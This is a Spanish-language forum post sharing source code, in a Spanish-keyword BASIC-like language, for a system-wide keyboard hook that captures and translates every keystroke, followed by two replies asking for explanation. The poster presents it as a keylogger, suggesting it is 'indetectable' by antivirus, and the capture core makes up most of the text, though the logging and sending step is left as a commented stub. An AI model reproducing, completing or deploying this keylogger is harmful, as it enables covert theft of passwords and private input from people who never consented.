Bueno, les dejo este código que permite obtener las pulsaciones del teclado, para mas información, Google!
Espero que le saquen provecho, supongo que estará indetectable, saludos!
' Estructuras
Estruc POINTAPI _
,x:Entero _
,y:Entero
Estruc MSG _
,hwnd:Entero _
,message:Entero _
,wParam:Entero _
,lParam:Entero _
,time:Entero _
,pt:POINTAPI
Estruc KBDLLHOOKSTRUCT,_ ' Estructura que recibe los datos.
VkCode,_ ' Código del boton presionado.
ScanCode,_ ' ?
Flags,_ ' Esto establece en 0 si la tecla es presionada, 1 si es soltada.
Time,_ ' Tiempo en el que se presiona y suelta la tecla, en ms.
DwExtraInfo:Entero ' ?
' Apis requeridas.
Proc GetMessage(Referencia:MSG,,,:Entero):Entero,"user32" "GetMessageA"
Proc TranslateMessage(Referencia:MSG):Entero,"user32"
Proc DispatchMessage(Referencia:MSG):Entero,"user32" "DispatchMessageA"
Proc CallNextHookEx(hHook,nCode,wParam:Entero,Referencia lParam:Entero):Entero,"User32.dll"
Proc SetWindowsHookEx(idHook,lpfn,hmod,dwThreadId:Entero):Entero,"User32.dll" "SetWindowsHookExA"
Proc UnhookWindowsHookEx(hHook:Entero):Entero,"User32.dll"
Proc GetModuleHandle(Referencia:Cadena):Entero,"kernel32" "GetModuleHandleA"
Var HookPtr:Entero
' Este procedimiento escanea el valor devuelto por el procedimiento "KeyboardHook" y lo _
' convierte en el caracter correspondiente.
Proc TeclasTraducir(i:Entero):Cadena
Seleccionar i
Caso 13 ; Devolver "[ENTER]"
Caso 81 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Q":"q"
Caso 87 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"W":"w"
Caso 69 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"E":"e"
Caso 82 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"R":"r"
Caso 84 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"T":"t"
Caso 89 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Y":"y"
Caso 85 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"U":"u"
Caso 73 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"I":"i"
Caso 79 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"O":"o"
Caso 80 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"P":"p"
Caso 65 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"A":"a"
Caso 83 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"S":"s"
Caso 68 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"D":"d"
Caso 70 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"F":"f"
Caso 71 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"G":"g"
Caso 72 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"H":"h"
Caso 74 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"J":"j"
Caso 75 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"K":"k"
Caso 76 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"L":"l"
Caso 192 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Ñ":"ñ"
Caso 90 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"Z":"z"
Caso 88 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"X":"x"
Caso 67 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"C":"c"
Caso 86 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"V":"v"
Caso 66 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"B":"b"
Caso 78 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"N":"n"
Caso 77 ; Devolver >GetAsyncKeyState(160) Or GetKeyState(20)?"M":"m"
Caso 112 ; Devolver "[F1]"
Caso 113 ; Devolver "[F2]"
Caso 114 ; Devolver "[F3]"
Caso 115 ; Devolver "[F4]"
Caso 116 ; Devolver "[F5]"
Caso 117 ; Devolver "[F6]"
Caso 118 ; Devolver "[F7]"
Caso 119 ; Devolver "[F8]"
Caso 120 ; Devolver "[F9]"
Caso 121 ; Devolver "[F10]"
Caso 122 ; Devolver "[F11]"
Caso 123 ; Devolver "[F12]"
Caso 49 ; Devolver >GetAsyncKeyState(160)?"!":"1"
Caso 50 ; Devolver >GetAsyncKeyState(160)?#34:"2"
Caso 51 ; Devolver >GetAsyncKeyState(160)?"·":"3"
Caso 52 ; Devolver >GetAsyncKeyState(160)?"$":"4"
Caso 53 ; Devolver >GetAsyncKeyState(160)?"%":"5"
Caso 54 ; Devolver >GetAsyncKeyState(160)?"&":"6"
Caso 55 ; Devolver >GetAsyncKeyState(160)?"/":"7"
Caso 56 ; Devolver >GetAsyncKeyState(160)?"(":"8"
Caso 57 ; Devolver >GetAsyncKeyState(160)?")":"9"
Caso 48 ; Devolver >GetAsyncKeyState(160)?"=":"0"
Caso 9 ; Devolver "[TAB]"
Caso 8 ; Devolver "[BORRAR]"
Caso 220 ; Devolver >GetAsyncKeyState(160)?"ª":"º"
Caso 96 ; Devolver "0"
Caso 97 ; Devolver "1"
Caso 98 ; Devolver "2"
Caso 99 ; Devolver "3"
Caso 100 ; Devolver "4"
Caso 101 ; Devolver "5"
Caso 102 ; Devolver "6"
Caso 103 ; Devolver "7"
Caso 104 ; Devolver "8"
Caso 105 ; Devolver "9"
Caso 27 ; Devolver "[ESCAPE]"
Caso 2096852,32 ; Devolver " "
FinSeleccionar
FinProc
Proc KeyboardHook(nCode:Entero,wParam:Word,lParam:Entero):Entero
Si HookEstruc@ = 0 Entonces HookEstruc@ = lParam ' CopyMemory(HookEstruc@,lParam,Long(HookEstruc))
Si nCode = 0 Entonces
Si (HookEstruc.Flags = 0) Entonces ' Si la tecla es precionada (no soltada)
' Acciones!
' EJEMPLO ___________________________
'Seleccionar TeclasTraducir(HookEstruc.VkCode)
' Caso "A"
' Caso "B"
' Caso "[ENTER]"
'FinSeleccionar
FinSi
SiNo
HookPtr = CallNextHookEx(0,HookPtr, wParam, lParam) ' Next
FinSi
FinProc
Var @HookEstruc:KBDLLHOOKSTRUCT
Var Msg:MSG
' Establece el hook en el teclado.
HookPtr = SetWindowsHookEx(13, KeyboardHook@, GetModuleHandle(""), 0)
' Sondeamos los mensajes del sistema.
Mientras GetMessage(Msg,0,0,0) = Verd
TranslateMessage(Msg)
DispatchMessage(Msg)
FinMientras
' Liberamos el hook.
UnhookWindowsHookEx(HookPtr)
Por el titulo pense que ibas a explicar un poco de teoria
Podrías dar un poco mas de información acerca del funcionamiento ya que no se encuentra muy claro que deseas hacer, además si vas a poner mas información en "Google", no lo hubieras posteado ya que como dices puedo abrir el navegador y buscar quedando este post sin visitas e incompleto.
Gracias y por favor pon más información.
Saludos.